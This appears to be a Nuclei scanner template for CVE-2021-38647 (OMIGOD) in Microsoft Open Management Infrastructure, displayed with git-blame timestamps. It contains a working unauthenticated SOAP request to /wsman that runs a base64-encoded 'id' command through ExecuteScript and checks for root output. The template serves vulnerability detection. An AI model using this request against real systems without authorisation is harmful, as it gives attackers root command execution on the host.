2021-09-15 16:10:58 +00:00
|
|
|
id: CVE-2021-38647
|
|
|
|
|
|
|
|
info:
|
2022-05-02 21:50:47 +00:00
|
|
|
name: Microsoft Open Management Infrastructure - Remote Code Execution
|
2021-09-17 08:12:22 +00:00
|
|
|
author: daffainfo,xstp
|
2021-09-15 16:10:58 +00:00
|
|
|
severity: critical
|
2022-04-22 10:38:41 +00:00
|
|
|
description: Microsoft Open Management Infrastructure is susceptible to remote code execution (OMIGOD).
|
2023-09-06 12:09:01 +00:00
|
|
|
remediation: Updates for this vulnerability were published on GitHub on August 11, 2021.
|
2021-09-15 16:10:58 +00:00
|
|
|
reference:
|
|
|
|
- https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
|
|
|
|
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647
|
2021-09-15 16:30:09 +00:00
|
|
|
- https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647
|
2021-09-17 05:56:55 +00:00
|
|
|
- https://censys.io/blog/understanding-the-impact-of-omigod-cve-2021-38647/
|
2021-09-15 16:30:09 +00:00
|
|
|
- https://github.com/microsoft/omi
|
2021-09-27 10:27:40 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
2022-04-22 10:38:41 +00:00
|
|
|
cvss-score: 9.8
|
2021-09-27 10:27:40 +00:00
|
|
|
cve-id: CVE-2021-38647
|
2023-08-31 11:46:18 +00:00
|
|
|
cwe-id: CWE-287
|
2023-11-10 09:15:01 +00:00
|
|
|
epss-score: 0.97307
|
2023-11-12 10:53:59 +00:00
|
|
|
epss-percentile: 0.99845
|
2023-09-06 12:09:01 +00:00
|
|
|
cpe: cpe:2.3:a:microsoft:azure_automation_state_configuration:-:*:*:*:*:*:*:*
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 1
|
2023-07-11 19:49:27 +00:00
|
|
|
vendor: microsoft
|
|
|
|
product: azure_automation_state_configuration
|
|
|
|
tags: cve,cve2021,rce,omi,microsoft,kev
|
2021-09-15 16:10:58 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-09-15 16:10:58 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /wsman HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
2021-09-17 08:12:22 +00:00
|
|
|
Content-Type: application/soap+xml;charset=UTF-8
|
2021-09-17 08:12:40 +00:00
|
|
|
|
2021-09-17 08:12:22 +00:00
|
|
|
<s:Envelope
|
|
|
|
xmlns:s="http://www.w3.org/2003/05/soap-envelope"
|
|
|
|
xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
|
|
|
|
xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration"
|
|
|
|
xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd"
|
|
|
|
xmlns:xsi="http://www.w3.org/2001/XMLSchema"
|
|
|
|
xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell"
|
|
|
|
xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd">
|
|
|
|
<s:Header>
|
2021-09-17 08:33:42 +00:00
|
|
|
<a:To>HTTP://{{Hostname}}/wsman/</a:To>
|
2021-09-17 08:12:22 +00:00
|
|
|
<w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>
|
|
|
|
<a:ReplyTo>
|
|
|
|
<a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
|
|
|
|
</a:ReplyTo>
|
|
|
|
<a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</a:Action>
|
|
|
|
<w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize>
|
|
|
|
<a:MessageID>uuid:00B60932-CC01-0005-0000-000000010000</a:MessageID>
|
|
|
|
<w:OperationTimeout>PT1M30S</w:OperationTimeout>
|
|
|
|
<w:Locale xml:lang="en-us" s:mustUnderstand="false"/>
|
|
|
|
<p:DataLocale xml:lang="en-us" s:mustUnderstand="false"/>
|
|
|
|
<w:OptionSet s:mustUnderstand="true"/>
|
|
|
|
<w:SelectorSet>
|
|
|
|
<w:Selector Name="__cimnamespace">root/scx</w:Selector>
|
|
|
|
</w:SelectorSet>
|
|
|
|
</s:Header>
|
|
|
|
<s:Body>
|
|
|
|
<p:ExecuteScript_INPUT
|
|
|
|
xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
|
|
|
|
<p:Script>aWQ=</p:Script>
|
|
|
|
<p:Arguments/>
|
|
|
|
<p:timeout>0</p:timeout>
|
|
|
|
<p:b64encoded>true</p:b64encoded>
|
|
|
|
</p:ExecuteScript_INPUT>
|
|
|
|
</s:Body>
|
2021-09-15 16:10:58 +00:00
|
|
|
</s:Envelope>
|
|
|
|
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
words:
|
2021-09-17 08:12:22 +00:00
|
|
|
- '<p:StdOut>'
|
|
|
|
- 'uid=0(root) gid=0(root) groups=0'
|
2022-03-29 10:33:49 +00:00
|
|
|
condition: and
|
2023-11-14 05:56:48 +00:00
|
|
|
|
|
|
|
# digest: 490a0046304402202be03a58f0ac82f722cc9e6cc7f4347d590c1c8779ef75a2a00832b68d0bd1ba02205334f972022090f45c72aed99adbe3080d8ebc48afd781707bebc56694010571:922c64590222798bb761d5b6d8e72950
|